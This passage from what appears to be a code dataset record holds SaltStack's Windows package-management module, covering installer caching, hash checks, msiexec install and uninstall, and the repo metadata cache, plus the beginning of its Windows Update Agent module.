'option is set to a valid filename.',\n __opts__['winrepo_cachefile']\n )\n\n # Do some safety checks on the repo_path as its contents can be removed,\n # this includes check for bad coding\n paths = (\n r'[a-z]\\:\\\\$',\n r'\\\\$',\n re.escape(os.environ.get('SystemRoot', r'C:\\Windows'))\n )\n for path in paths:\n if re.match(path, local_dest, flags=re.IGNORECASE) is not None:\n raise CommandExecutionError(\n 'Local cache dir {0} is not a good location'.format(local_dest)\n )\n\n __context__[contextkey] = (winrepo_source_dir, local_dest, winrepo_file)\n\n try:\n os.makedirs(local_dest)\n except OSError as exc:\n if exc.errno != errno.EEXIST:\n raise CommandExecutionError(\n 'Failed to create {0}: {1}'.format(local_dest, exc)\n )\n\n winrepo_age = -1\n try:\n stat_result = os.stat(winrepo_file)\n mtime = stat_result.st_mtime\n winrepo_age = time.time() - mtime\n except OSError as exc:\n if exc.errno != errno.ENOENT:\n raise CommandExecutionError(\n 'Failed to get age of {0}: {1}'.format(winrepo_file, exc)\n )\n except AttributeError:\n # Shouldn't happen but log if it does\n log.warning('st_mtime missing from stat result %s', stat_result)\n except TypeError:\n # Shouldn't happen but log if it does\n log.warning('mtime of %s (%s) is an invalid type', winrepo_file, mtime)\n\n repo_details = collections.namedtuple(\n 'RepoDetails',\n ('winrepo_source_dir', 'local_dest', 'winrepo_file', 'winrepo_age')\n )\n return repo_details(winrepo_source_dir, local_dest, winrepo_file, winrepo_age)\n\n\ndef genrepo(**kwargs):\n '''\n Generate package metedata db based on files within the winrepo_source_dir\n\n CLI Example:\n\n .. code-block:: bash\n\n salt-run pkg.genrepo\n salt -G 'os:windows' pkg.genrepo verbose=true failhard=false\n salt -G 'os:windows' pkg.genrepo saltenv=base\n\n *Keyword Arguments (kwargs)*\n\n :param str saltenv: Salt environment. Default: ``base``\n\n :param bool verbose:\n Return verbose data structure which includes 'success_list', a list of\n all sls files and the package names contained within. Default 'False'\n\n :param bool failhard:\n If ``True``, an error will be raised if any repo SLS files failed to\n proess. If ``False``, no error will be raised, and a dictionary\n containing the full results will be returned.\n '''\n saltenv = kwargs.pop('saltenv', 'base')\n verbose = salt.utils.is_true(kwargs.pop('verbose', False))\n failhard = salt.utils.is_true(kwargs.pop('failhard', True))\n\n ret = {}\n successful_verbose = {}\n total_files_processed = 0\n ret['repo'] = {}\n ret['errors'] = {}\n repo_details = _get_repo_details(saltenv)\n\n for root, _, files in os.walk(repo_details.local_dest, followlinks=False):\n short_path = os.path.relpath(root, repo_details.local_dest)\n if short_path == '.':\n short_path = ''\n for name in files:\n if name.endswith('.sls'):\n total_files_processed += 1\n _repo_process_pkg_sls(\n os.path.join(root, name),\n os.path.join(short_path, name),\n ret,\n successful_verbose\n )\n with salt.utils.fopen(repo_details.winrepo_file, 'w+b') as repo_cache:\n repo_cache.write(msgpack.dumps(ret))\n # save reading it back again. ! this breaks due to utf8 issues\n #__context__['winrepo.data'] = ret\n successful_count = len(successful_verbose)\n error_count = len(ret['errors'])\n if verbose:\n results = {\n 'total': total_files_processed,\n 'success': successful_count,\n 'failed': error_count,\n 'success_list': successful_verbose,\n 'failed_list': ret['errors']\n }\n else:\n if error_count > 0:\n results = {\n 'total': total_files_processed,\n 'success': successful_count,\n 'failed': error_count,\n 'failed_list': ret['errors']\n }\n else:\n results = {\n 'total': total_files_processed,\n 'success': successful_count,\n 'failed': error_count\n }\n\n if error_count > 0 and failhard:\n raise CommandExecutionError(\n 'Error occurred while generating repo db',\n info=results\n )\n else:\n return results\n\n\ndef _repo_process_pkg_sls(file, short_path_name, ret, successful_verbose):\n renderers = salt.loader.render(__opts__, __salt__)\n\n def _failed_compile(msg):\n log.error(msg)\n ret.setdefault('errors', {})[short_path_name] = [msg]\n return False\n\n try:\n config = salt.template.compile_template(\n file,\n renderers,\n __opts__['renderer'],\n __opts__.get('renderer_blacklist', ''),\n __opts__.get('renderer_whitelist', ''))\n except SaltRenderError as exc:\n msg = 'Failed to compile \\'{0}\\': {1}'.format(short_path_name, exc)\n return _failed_compile(msg)\n except Exception as exc:\n msg = 'Failed to read \\'{0}\\': {1}'.format(short_path_name, exc)\n return _failed_compile(msg)\n\n if config:\n revmap = {}\n errors = []\n pkgname_ok_list = []\n for pkgname, versions in six.iteritems(config):\n if pkgname in ret['repo']:\n log.error(\n 'package \\'%s\\' within \\'%s\\' already defined, skipping',\n pkgname, short_path_name\n )\n errors.append('package \\'{0}\\' already defined'.format(pkgname))\n break\n for version, repodata in six.iteritems(versions):\n # Ensure version is a string/unicode\n if not isinstance(version, six.string_types):\n msg = (\n 'package \\'{0}\\'{{0}}, version number {1} '\n 'is not a string'.format(pkgname, version)\n )\n log.error(\n msg.format(' within \\'{0}\\''.format(short_path_name))\n )\n errors.append(msg.format(''))\n continue\n # Ensure version contains a dict\n if not isinstance(repodata, dict):\n msg = (\n 'package \\'{0}\\'{{0}}, repo data for '\n 'version number {1} is not defined as a dictionary '\n .format(pkgname, version)\n )\n log.error(\n msg.format(' within \\'{0}\\''.format(short_path_name))\n )\n errors.append(msg.format(''))\n continue\n revmap[repodata['full_name']] = pkgname\n if errors:\n ret.setdefault('errors', {})[short_path_name] = errors\n else:\n if pkgname not in pkgname_ok_list:\n pkgname_ok_list.append(pkgname)\n ret.setdefault('repo', {}).update(config)\n ret.setdefault('name_map', {}).update(revmap)\n successful_verbose[short_path_name] = config.keys()\n else:\n log.debug('No data within \\'%s\\' after processing', short_path_name)\n # no pkgname found after render\n successful_verbose[short_path_name] = []\n\n\ndef _get_source_sum(source_hash, file_path, saltenv):\n '''\n Extract the hash sum, whether it is in a remote hash file, or just a string.\n '''\n ret = dict()\n schemes = ('salt', 'http', 'https', 'ftp', 'swift', 's3', 'file')\n invalid_hash_msg = (\"Source hash '{0}' format is invalid. It must be in \"\n \"the format <hash type>=<hash>\").format(source_hash)\n source_hash = str(source_hash)\n source_hash_scheme = _urlparse(source_hash).scheme\n\n if source_hash_scheme in schemes:\n # The source_hash is a file on a server\n cached_hash_file = __salt__['cp.cache_file'](source_hash, saltenv)\n\n if not cached_hash_file:\n raise CommandExecutionError(('Source hash file {0} not'\n ' found').format(source_hash))\n\n ret = __salt__['file.extract_hash'](cached_hash_file, '', file_path)\n if ret is None:\n raise SaltInvocationError(invalid_hash_msg)\n else:\n # The source_hash is a hash string\n items = source_hash.split('=', 1)\n\n if len(items) != 2:\n invalid_hash_msg = ('{0}, or it must be a supported protocol'\n ': {1}').format(invalid_hash_msg,\n ', '.join(schemes))\n raise SaltInvocationError(invalid_hash_msg)\n\n ret['hash_type'], ret['hsum'] = [item.strip().lower() for item in items]\n\n return ret\n\n\ndef install(name=None, refresh=False, pkgs=None, **kwargs):\n r'''\n Install the passed package(s) on the system using winrepo\n\n :param name:\n The name of a single package, or a comma-separated list of packages to\n install. (no spaces after the commas)\n :type name: str, list, or None\n\n :param bool refresh: Boolean value representing whether or not to refresh\n the winrepo db\n\n :param pkgs: A list of packages to install from a software repository.\n All packages listed under ``pkgs`` will be installed via a single\n command.\n\n :type pkgs: list or None\n\n *Keyword Arguments (kwargs)*\n\n :param str version:\n The specific version to install. If omitted, the latest version will be\n installed. If passed with multiple install, the version will apply to\n all packages. Recommended for single installation only.\n\n :param str cache_file:\n A single file to copy down for use with the installer. Copied to the\n same location as the installer. Use this over ``cache_dir`` if there\n are many files in the directory and you only need a specific file and\n don't want to cache additional files that may reside in the installer\n directory. Only applies to files on ``salt://``\n\n :param bool cache_dir:\n True will copy the contents of the installer directory. This is useful\n for installations that are not a single file. Only applies to\n directories on ``salt://``\n\n :param str saltenv: Salt environment. Default 'base'\n\n :param bool report_reboot_exit_codes:\n If the installer exits with a recognized exit code indicating that\n a reboot is required, the module function\n\n *win_system.set_reboot_required_witnessed*\n\n will be called, preserving the knowledge of this event\n for the remainder of the current boot session. For the time being,\n 3010 is the only recognized exit code. The value of this param\n defaults to True.\n\n .. versionadded:: 2016.11.0\n\n :return: Return a dict containing the new package names and versions::\n :rtype: dict\n\n If the package is installed by ``pkg.install``:\n\n .. code-block:: cfg\n\n {'<package>': {'old': '<old-version>',\n 'new': '<new-version>'}}\n\n If the package is already installed:\n\n .. code-block:: cfg\n\n {'<package>': {'current': '<current-version>'}}\n\n The following example will refresh the winrepo and install a single package,\n 7zip.\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' pkg.install 7zip refresh=True\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' pkg.install 7zip\n salt '*' pkg.install 7zip,filezilla\n salt '*' pkg.install pkgs='[\"7zip\",\"filezilla\"]'\n\n WinRepo Definition File Examples:\n\n The following example demonstrates the use of ``cache_file``. This would be\n used if you have multiple installers in the same directory that use the same\n ``install.ini`` file and you don't want to download the additional\n installers.\n\n .. code-block:: bash\n\n ntp:\n 4.2.8:\n installer: 'salt://win/repo/ntp/ntp-4.2.8-win32-setup.exe'\n full_name: Meinberg NTP Windows Client\n locale: en_US\n reboot: False\n cache_file: 'salt://win/repo/ntp/install.ini'\n install_flags: '/USEFILE=C:\\salt\\var\\cache\\salt\\minion\\files\\base\\win\\repo\\ntp\\install.ini'\n uninstaller: 'NTP/uninst.exe'\n\n The following example demonstrates the use of ``cache_dir``. It assumes a\n file named ``install.ini`` resides in the same directory as the installer.\n\n .. code-block:: bash\n\n ntp:\n 4.2.8:\n installer: 'salt://win/repo/ntp/ntp-4.2.8-win32-setup.exe'\n full_name: Meinberg NTP Windows Client\n locale: en_US\n reboot: False\n cache_dir: True\n install_flags: '/USEFILE=C:\\salt\\var\\cache\\salt\\minion\\files\\base\\win\\repo\\ntp\\install.ini'\n uninstaller: 'NTP/uninst.exe'\n '''\n ret = {}\n saltenv = kwargs.pop('saltenv', 'base')\n refresh = salt.utils.is_true(refresh)\n # no need to call _refresh_db_conditional as list_pkgs will do it\n\n # Make sure name or pkgs is passed\n if not name and not pkgs:\n return 'Must pass a single package or a list of packages'\n\n # Ignore pkg_type from parse_targets, Windows does not support the\n # \"sources\" argument\n pkg_params = __salt__['pkg_resource.parse_targets'](name, pkgs, **kwargs)[0]\n\n if pkg_params is None or len(pkg_params) == 0:\n log.error('No package definition found')\n return {}\n\n if not pkgs and len(pkg_params) == 1:\n # Only use the 'version' param if 'name' was not specified as a\n # comma-separated list\n pkg_params = {\n name: {\n 'version': kwargs.get('version'),\n 'extra_install_flags': kwargs.get('extra_install_flags')\n }\n }\n\n # Get a list of currently installed software for comparison at the end\n old = list_pkgs(saltenv=saltenv, refresh=refresh)\n\n # Loop through each package\n changed = []\n latest = []\n for pkg_name, options in six.iteritems(pkg_params):\n\n # Load package information for the package\n pkginfo = _get_package_info(pkg_name, saltenv=saltenv)\n\n # Make sure pkginfo was found\n if not pkginfo:\n log.error('Unable to locate package {0}'.format(pkg_name))\n ret[pkg_name] = 'Unable to locate package {0}'.format(pkg_name)\n continue\n\n # Get the version number passed or the latest available\n version_num = ''\n if options:\n version_num = options.get('version', False)\n\n if not version_num:\n version_num = _get_latest_pkg_version(pkginfo)\n\n # Check if the version is already installed\n if version_num in old.get(pkg_name, '').split(',') \\\n or (pkg_name in old and old[pkg_name] == 'Not Found'):\n # Desired version number already installed\n ret[pkg_name] = {'current': version_num}\n continue\n\n # If version number not installed, is the version available?\n elif version_num not in pkginfo:\n log.error('Version {0} not found for package '\n '{1}'.format(version_num, pkg_name))\n ret[pkg_name] = {'not found': version_num}\n continue\n\n if 'latest' in pkginfo:\n latest.append(pkg_name)\n\n # Get the installer settings from winrepo.p\n installer = pkginfo[version_num].get('installer', False)\n cache_dir = pkginfo[version_num].get('cache_dir', False)\n cache_file = pkginfo[version_num].get('cache_file', False)\n\n # Is there an installer configured?\n if not installer:\n log.error('No installer configured for version {0} of package '\n '{1}'.format(version_num, pkg_name))\n ret[pkg_name] = {'no installer': version_num}\n continue\n\n # Is the installer in a location that requires caching\n if installer.startswith(('salt:', 'http:', 'https:', 'ftp:')):\n\n # Check for the 'cache_dir' parameter in the .sls file\n # If true, the entire directory will be cached instead of the\n # individual file. This is useful for installations that are not\n # single files\n if cache_dir and installer.startswith('salt:'):\n path, _ = os.path.split(installer)\n __salt__['cp.cache_dir'](path,\n saltenv,\n False,\n None,\n 'E@init.sls$')\n\n # Check to see if the cache_file is cached... if passed\n if cache_file and cache_file.startswith('salt:'):\n\n # Check to see if the file is cached\n cached_file = __salt__['cp.is_cached'](cache_file, saltenv)\n if not cached_file:\n cached_file = __salt__['cp.cache_file'](cache_file, saltenv)\n\n # Make sure the cached file is the same as the source\n if __salt__['cp.hash_file'](cache_file, saltenv) != \\\n __salt__['cp.hash_file'](cached_file):\n cached_file = __salt__['cp.cache_file'](cache_file, saltenv)\n\n # Check if the cache_file was cached successfully\n if not cached_file:\n log.error('Unable to cache {0}'.format(cache_file))\n ret[pkg_name] = {\n 'failed to cache cache_file': cache_file\n }\n continue\n\n # Check to see if the installer is cached\n cached_pkg = __salt__['cp.is_cached'](installer, saltenv)\n if not cached_pkg:\n # It's not cached. Cache it, mate.\n cached_pkg = __salt__['cp.cache_file'](installer, saltenv)\n\n # Check if the installer was cached successfully\n if not cached_pkg:\n log.error('Unable to cache file {0} '\n 'from saltenv: {1}'.format(installer, saltenv))\n ret[pkg_name] = {'unable to cache': installer}\n continue\n\n # Compare the hash of the cached installer to the source only if the\n # file is hosted on salt:\n if installer.startswith('salt:'):\n if __salt__['cp.hash_file'](installer, saltenv) != \\\n __salt__['cp.hash_file'](cached_pkg):\n try:\n cached_pkg = __salt__['cp.cache_file'](installer,\n saltenv)\n except MinionError as exc:\n return '{0}: {1}'.format(exc, installer)\n\n # Check if the installer was cached successfully\n if not cached_pkg:\n log.error('Unable to cache {0}'.format(installer))\n ret[pkg_name] = {'unable to cache': installer}\n continue\n else:\n # Run the installer directly (not hosted on salt:, https:, etc.)\n cached_pkg = installer\n\n # Fix non-windows slashes\n cached_pkg = cached_pkg.replace('/', '\\\\')\n cache_path, _ = os.path.split(cached_pkg)\n\n # Compare the hash sums\n source_hash = pkginfo[version_num].get('source_hash', False)\n if source_hash:\n source_sum = _get_source_sum(source_hash, cached_pkg, saltenv)\n log.debug('Source {0} hash: {1}'.format(source_sum['hash_type'],\n source_sum['hsum']))\n\n cached_pkg_sum = salt.utils.get_hash(cached_pkg,\n source_sum['hash_type'])\n log.debug('Package {0} hash: {1}'.format(source_sum['hash_type'],\n cached_pkg_sum))\n\n if source_sum['hsum'] != cached_pkg_sum:\n raise SaltInvocationError(\n (\"Source hash '{0}' does not match package hash\"\n \" '{1}'\").format(source_sum['hsum'], cached_pkg_sum)\n )\n log.debug('Source hash matches package hash.')\n\n # Get install flags\n install_flags = '{0}'.format(pkginfo[version_num].get('install_flags'))\n if options and options.get('extra_install_flags'):\n install_flags = '{0} {1}'.format(\n install_flags,\n options.get('extra_install_flags', '')\n )\n\n # Install the software\n # Check Use Scheduler Option\n if pkginfo[version_num].get('use_scheduler', False):\n\n # Build Scheduled Task Parameters\n if pkginfo[version_num].get('msiexec'):\n cmd = 'msiexec.exe'\n arguments = ['/i', cached_pkg]\n if pkginfo['version_num'].get('allusers', True):\n arguments.append('ALLUSERS=\"1\"')\n arguments.extend(salt.utils.shlex_split(install_flags))\n else:\n cmd = cached_pkg\n arguments = salt.utils.shlex_split(install_flags)\n\n # Create Scheduled Task\n __salt__['task.create_task'](name='update-salt-software',\n user_name='System',\n force=True,\n action_type='Execute',\n cmd=cmd,\n arguments=' '.join(arguments),\n start_in=cache_path,\n trigger_type='Once',\n start_date='1975-01-01',\n start_time='01:00',\n ac_only=False,\n stop_if_on_batteries=False)\n # Run Scheduled Task\n if not __salt__['task.run_wait'](name='update-salt-software'):\n log.error('Failed to install {0}'.format(pkg_name))\n log.error('Scheduled Task failed to run')\n ret[pkg_name] = {'install status': 'failed'}\n else:\n # Build the install command\n cmd = []\n if pkginfo[version_num].get('msiexec'):\n cmd.extend(['msiexec', '/i', cached_pkg])\n if pkginfo[version_num].get('allusers', True):\n cmd.append('ALLUSERS=\"1\"')\n else:\n cmd.append(cached_pkg)\n cmd.extend(salt.utils.shlex_split(install_flags))\n # Launch the command\n result = __salt__['cmd.run_all'](cmd,\n cache_path,\n output_loglevel='quiet',\n python_shell=False,\n redirect_stderr=True)\n if not result['retcode']:\n ret[pkg_name] = {'install status': 'success'}\n changed.append(pkg_name)\n elif result['retcode'] == 3010:\n # 3010 is ERROR_SUCCESS_REBOOT_REQUIRED\n report_reboot_exit_codes = kwargs.pop(\n 'report_reboot_exit_codes',\n True\n )\n if report_reboot_exit_codes:\n __salt__['system.set_reboot_required_witnessed']()\n ret[pkg_name] = {'install status': 'success, reboot required'}\n changed.append(pkg_name)\n else:\n log.error('Failed to install {0}'.format(pkg_name))\n log.error('retcode {0}'.format(result['retcode']))\n log.error('installer output: {0}'.format(result['stdout']))\n ret[pkg_name] = {'install status': 'failed'}\n\n # Get a new list of installed software\n new = list_pkgs(saltenv=saltenv)\n\n # For installers that have no specific version (ie: chrome)\n # The software definition file will have a version of 'latest'\n # In that case there's no way to know which version has been installed\n # Just return the current installed version\n if latest:\n for pkg_name in latest:\n if old.get(pkg_name, 'old') == new.get(pkg_name, 'new'):\n ret[pkg_name] = {'current': new[pkg_name]}\n\n # Check for changes in the registry\n difference = salt.utils.compare_dicts(old, new)\n\n # Compare the software list before and after\n # Add the difference to ret\n ret.update(difference)\n\n return ret\n\n\ndef upgrade(**kwargs):\n '''\n Upgrade all software. Currently not implemented\n\n *Keyword Arguments (kwargs)*\n :param str saltenv: The salt environment to use. Default ``base``.\n :param bool refresh: Refresh package metadata. Default ``True``.\n\n .. note::\n This feature is not yet implemented for Windows.\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' pkg.upgrade\n '''\n log.warning('pkg.upgrade not implemented on Windows yet')\n refresh = salt.utils.is_true(kwargs.get('refresh', True))\n saltenv = kwargs.get('saltenv', 'base')\n # Uncomment the below once pkg.upgrade has been implemented\n\n # if salt.utils.is_true(refresh):\n # refresh_db()\n return {}\n\n\ndef remove(name=None, pkgs=None, version=None, **kwargs):\n '''\n Remove the passed package(s) from the system using winrepo\n\n :param name:\n The name of the package to be uninstalled.\n :type name: str, list, or None\n\n :param str version:\n The version of the package to be uninstalled. If this option is used to\n to uninstall multiple packages, then this version will be applied to all\n targeted packages. Recommended using only when uninstalling a single\n package. If this parameter is omitted, the latest version will be\n uninstalled.\n\n Multiple Package Options:\n\n :param pkgs:\n A list of packages to delete. Must be passed as a python list. The\n ``name`` parameter will be ignored if this option is passed.\n :type pkgs: list or None\n\n .. versionadded:: 0.16.0\n\n *Keyword Arguments (kwargs)*\n :param str saltenv: Salt environment. Default ``base``\n :param bool refresh: Refresh package metadata. Default ``False``\n\n :return: Returns a dict containing the changes.\n :rtype: dict\n\n If the package is removed by ``pkg.remove``:\n\n {'<package>': {'old': '<old-version>',\n 'new': '<new-version>'}}\n\n If the package is already uninstalled:\n\n {'<package>': {'current': 'not installed'}}\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' pkg.remove <package name>\n salt '*' pkg.remove <package1>,<package2>,<package3>\n salt '*' pkg.remove pkgs='[\"foo\", \"bar\"]'\n '''\n saltenv = kwargs.get('saltenv', 'base')\n refresh = salt.utils.is_true(kwargs.get('refresh', False))\n # no need to call _refresh_db_conditional as list_pkgs will do it\n ret = {}\n\n # Make sure name or pkgs is passed\n if not name and not pkgs:\n return 'Must pass a single package or a list of packages'\n\n # Get package parameters\n pkg_params = __salt__['pkg_resource.parse_targets'](name, pkgs, **kwargs)[0]\n\n # Get a list of currently installed software for comparison at the end\n old = list_pkgs(saltenv=saltenv, refresh=refresh)\n\n # Loop through each package\n changed = []\n for target in pkg_params:\n\n # Load package information for the package\n pkginfo = _get_package_info(target, saltenv=saltenv)\n\n # Make sure pkginfo was found\n if not pkginfo:\n log.error('Unable to locate package {0}'.format(name))\n ret[target] = 'Unable to locate package {0}'.format(target)\n continue\n\n # Get latest version if no version passed, else use passed version\n if not version:\n version_num = _get_latest_pkg_version(pkginfo)\n else:\n version_num = version\n\n if 'latest' in pkginfo and version_num not in pkginfo:\n version_num = 'latest'\n\n # Check to see if package is installed on the system\n if target not in old:\n log.error('{0} {1} not installed'.format(target, version))\n ret[target] = {'current': 'not installed'}\n continue\n else:\n if version_num not in old.get(target, '').split(',') \\\n and not old.get(target) == \"Not Found\" \\\n and version_num != 'latest':\n log.error('{0} {1} not installed'.format(target, version))\n ret[target] = {\n 'current': '{0} not installed'.format(version_num)\n }\n continue\n\n # Get the uninstaller\n uninstaller = pkginfo[version_num].get('uninstaller')\n\n # If no uninstaller found, use the installer\n if not uninstaller:\n uninstaller = pkginfo[version_num].get('installer')\n\n # If still no uninstaller found, fail\n if not uninstaller:\n log.error('Error: No installer or uninstaller configured '\n 'for package {0}'.format(name))\n ret[target] = {'no uninstaller': version_num}\n continue\n\n # Where is the uninstaller\n if uninstaller.startswith(('salt:', 'http:', 'https:', 'ftp:')):\n\n # Check to see if the uninstaller is cached\n cached_pkg = __salt__['cp.is_cached'](uninstaller)\n if not cached_pkg:\n # It's not cached. Cache it, mate.\n cached_pkg = __salt__['cp.cache_file'](uninstaller)\n\n # Check if the uninstaller was cached successfully\n if not cached_pkg:\n log.error('Unable to cache {0}'.format(uninstaller))\n ret[target] = {'unable to cache': uninstaller}\n continue\n else:\n # Run the uninstaller directly (not hosted on salt:, https:, etc.)\n cached_pkg = uninstaller\n\n # Fix non-windows slashes\n cached_pkg = cached_pkg.replace('/', '\\\\')\n cache_path, _ = os.path.split(cached_pkg)\n\n # Get parameters for cmd\n expanded_cached_pkg = str(os.path.expandvars(cached_pkg))\n\n # Get uninstall flags\n uninstall_flags = '{0}'.format(\n pkginfo[version_num].get('uninstall_flags', '')\n )\n if kwargs.get('extra_uninstall_flags'):\n uninstall_flags = '{0} {1}'.format(\n uninstall_flags,\n kwargs.get('extra_uninstall_flags', \"\")\n )\n\n # Uninstall the software\n # Check Use Scheduler Option\n if pkginfo[version_num].get('use_scheduler', False):\n\n # Build Scheduled Task Parameters\n if pkginfo[version_num].get('msiexec'):\n cmd = 'msiexec.exe'\n arguments = ['/x']\n arguments.extend(salt.utils.shlex_split(uninstall_flags))\n else:\n cmd = expanded_cached_pkg\n arguments = salt.utils.shlex_split(uninstall_flags)\n\n # Create Scheduled Task\n __salt__['task.create_task'](name='update-salt-software',\n user_name='System',\n force=True,\n action_type='Execute',\n cmd=cmd,\n arguments=' '.join(arguments),\n start_in=cache_path,\n trigger_type='Once',\n start_date='1975-01-01',\n start_time='01:00',\n ac_only=False,\n stop_if_on_batteries=False)\n # Run Scheduled Task\n if not __salt__['task.run_wait'](name='update-salt-software'):\n log.error('Failed to remove {0}'.format(target))\n log.error('Scheduled Task failed to run')\n ret[target] = {'uninstall status': 'failed'}\n else:\n # Build the install command\n cmd = []\n if pkginfo[version_num].get('msiexec'):\n cmd.extend(['msiexec', '/x', expanded_cached_pkg])\n else:\n cmd.append(expanded_cached_pkg)\n cmd.extend(salt.utils.shlex_split(uninstall_flags))\n # Launch the command\n result = __salt__['cmd.run_all'](cmd,\n output_loglevel='trace',\n python_shell=False,\n redirect_stderr=True)\n if not result['retcode']:\n ret[target] = {'uninstall status': 'success'}\n changed.append(target)\n else:\n log.error('Failed to remove {0}'.format(target))\n log.error('retcode {0}'.format(result['retcode']))\n log.error('uninstaller output: {0}'.format(result['stdout']))\n ret[target] = {'uninstall status': 'failed'}\n\n # Get a new list of installed software\n new = list_pkgs(saltenv=saltenv)\n tries = 0\n difference = salt.utils.compare_dicts(old, new)\n\n while not all(name in difference for name in changed) and tries <= 1000:\n new = list_pkgs(saltenv=saltenv)\n difference = salt.utils.compare_dicts(old, new)\n tries += 1\n if tries == 1000:\n ret['_comment'] = 'Registry not updated.'\n\n # Compare the software list before and after\n # Add the difference to ret\n ret.update(difference)\n\n return ret\n\n\ndef purge(name=None, pkgs=None, version=None, **kwargs):\n '''\n Package purges are not supported, this function is identical to\n ``remove()``.\n\n name\n The name of the package to be deleted.\n\n version\n The version of the package to be deleted. If this option is used in\n combination with the ``pkgs`` option below, then this version will be\n applied to all targeted packages.\n\n\n Multiple Package Options:\n\n pkgs\n A list of packages to delete. Must be passed as a python list. The\n ``name`` parameter will be ignored if this option is passed.\n\n *Keyword Arguments (kwargs)*\n :param str saltenv: Salt environment. Default ``base``\n :param bool refresh: Refresh package metadata. Default ``False``\n\n .. versionadded:: 0.16.0\n\n\n Returns a dict containing the changes.\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' pkg.purge <package name>\n salt '*' pkg.purge <package1>,<package2>,<package3>\n salt '*' pkg.purge pkgs='[\"foo\", \"bar\"]'\n '''\n return remove(name=name,\n pkgs=pkgs,\n version=version,\n **kwargs)\n\n\ndef get_repo_data(saltenv='base'):\n '''\n Returns the existing package meteadata db.\n Will create it, if it does not exist, however will not refresh it.\n\n :param str saltenv: Salt environment. Default ``base``\n\n :return: Returns a dict containing contents of metadata db.\n :rtype: dict\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' pkg.get_repo_data\n '''\n # we only call refresh_db if it does not exist, as we want to return\n # the existing data even if its old, other parts of the code call this,\n # but they will call refresh if they need too.\n repo_details = _get_repo_details(saltenv)\n if repo_details.winrepo_age == -1:\n # no repo meta db\n log.debug('No winrepo.p cache file. Refresh pkg db now.')\n refresh_db(saltenv=saltenv)\n\n if 'winrepo.data' in __context__:\n log.trace('get_repo_data returning results from __context__')\n return __context__['winrepo.data']\n else:\n log.trace('get_repo_data called reading from disk')\n\n try:\n with salt.utils.fopen(repo_details.winrepo_file, 'rb') as repofile:\n try:\n repodata = msgpack.loads(repofile.read()) or {}\n __context__['winrepo.data'] = repodata\n return repodata\n except Exception as exc:\n log.exception(exc)\n return {}\n except IOError as exc:\n log.error('Not able to read repo file')\n log.exception(exc)\n return {}\n\n\ndef _get_name_map(saltenv='base'):\n '''\n Return a reverse map of full pkg names to the names recognized by winrepo.\n '''\n u_name_map = {}\n name_map = get_repo_data(saltenv).get('name_map', {})\n for k in name_map.keys():\n u_name_map[k.decode('utf-8')] = name_map[k]\n return u_name_map\n\n\ndef _get_package_info(name, saltenv='base'):\n '''\n Return package info.\n Returns empty map if package not available\n TODO: Add option for version\n '''\n return get_repo_data(saltenv).get('repo', {}).get(name, {})\n\n\ndef _reverse_cmp_pkg_versions(pkg1, pkg2):\n '''\n Compare software package versions\n '''\n if LooseVersion(pkg1) > LooseVersion(pkg2):\n return 1\n else:\n return -1\n\n\ndef _get_latest_pkg_version(pkginfo):\n if len(pkginfo) == 1:\n return next(six.iterkeys(pkginfo))\n try:\n return sorted(pkginfo, cmp=_reverse_cmp_pkg_versions).pop()\n except IndexError:\n return ''\n\n\ndef compare_versions(ver1='', oper='==', ver2=''):\n '''\n Compare software package versions\n\n Args:\n ver1 (str): A software version to compare\n oper (str): The operand to use to compare\n ver2 (str): A software version to compare\n\n Returns (bool): True if the comparison is valid, otherwise False\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' pkg.compare_versions 1.2 >= 1.3\n '''\n return salt.utils.compare_versions(ver1, oper, ver2)\n", "id": "10293780", "language": "Python", "matching_score": 5.677774429321289, "max_stars_count": 0, "path": "tests/build/virtualenv/lib/python2.7/site-packages/salt/modules/win_pkg.py" }, { "content": "# -*- coding: utf-8 -*-\n\"\"\"\nModule for managing Windows Updates using the Windows Update Agent.\n\n.. versionadded:: 2015.8.0\n\n:depends:\n - win32com\n - pythoncom\n\"\"\"\nfrom __future__ import absolute_import\n\n# Import Python libs\nimport logging\n\n# Import Salt libs\nfrom salt.ext import six\nfrom salt.ext.six.moves import range # pylint: disable=no-name-in-module,redefined-builtin\n\n# Import 3rd-party libs\ntry:\n import win32com.client\n import pythoncom\n\n HAS_DEPENDENCIES = True\nexcept ImportError:\n HAS_DEPENDENCIES = False\n\n# Import salt libs\nimport salt.utils\n\nlog = logging.getLogger(__name__)\n\n\ndef __virtual__():\n \"\"\"\n Only works on Windows systems\n \"\"\"\n if salt.utils.is_windows() and HAS_DEPENDENCIES:\n return True\n return (False, \"Module win_wua: module has failed dependencies or is not on Windows client\")\n\n\ndef _wua_search(skip_hidden=True,\n skip_installed=True,\n skip_present=False,\n skip_reboot=False,\n software_updates=True,\n driver_updates=True):\n # Build the search string\n search_string = ''\n search_params = []\n\n if skip_hidden:\n search_params.append('IsHidden=0')\n\n if skip_installed:\n search_params.append('IsInstalled=0')\n\n if skip_present:\n search_params.append('IsPresent=0')\n\n if skip_reboot:\n search_params.append('RebootRequired=0')\n\n for i in search_params:\n search_string += '{0} and '.format(i)\n\n if software_updates and driver_updates:\n search_string += 'Type=\\'Software\\' or Type=\\'Driver\\''\n elif software_updates:\n search_string += 'Type=\\'Software\\''\n elif driver_updates:\n search_string += 'Type=\\'Driver\\''\n else:\n log.debug('Neither Software nor Drivers included in search. Results will be empty.')\n return False\n\n # Initialize the PyCom system\n pythoncom.CoInitialize()\n\n # Create a session with the Windows Update Agent\n wua_session = win32com.client.Dispatch('Microsoft.Update.Session')\n\n # Create a searcher object\n wua_searcher = wua_session.CreateUpdateSearcher()\n\n # Search for updates\n try:\n log.debug('Searching for updates: {0}'.format(search_string))\n results = wua_searcher.Search(search_string)\n log.debug('Search completed successfully')\n return results.Updates\n except Exception as exc:\n log.info('Search for updates failed. {0}'.format(exc))\n return exc\n\n\ndef _filter_list_by_category(updates, categories=None):\n # This function filters the updates list based on Category\n\n if not updates:\n return 'No updates found'\n\n update_list = win32com.client.Dispatch('Microsoft.Update.UpdateColl')\n\n for update in updates:\n\n category_match = False\n\n # If no categories were passed, return all categories\n # Set categoryMatch to True\n if categories is None:\n category_match = True\n else:\n # Loop through each category found in the update\n for category in update.Categories:\n # If the update category exists in the list of categories\n # passed, then set categoryMatch to 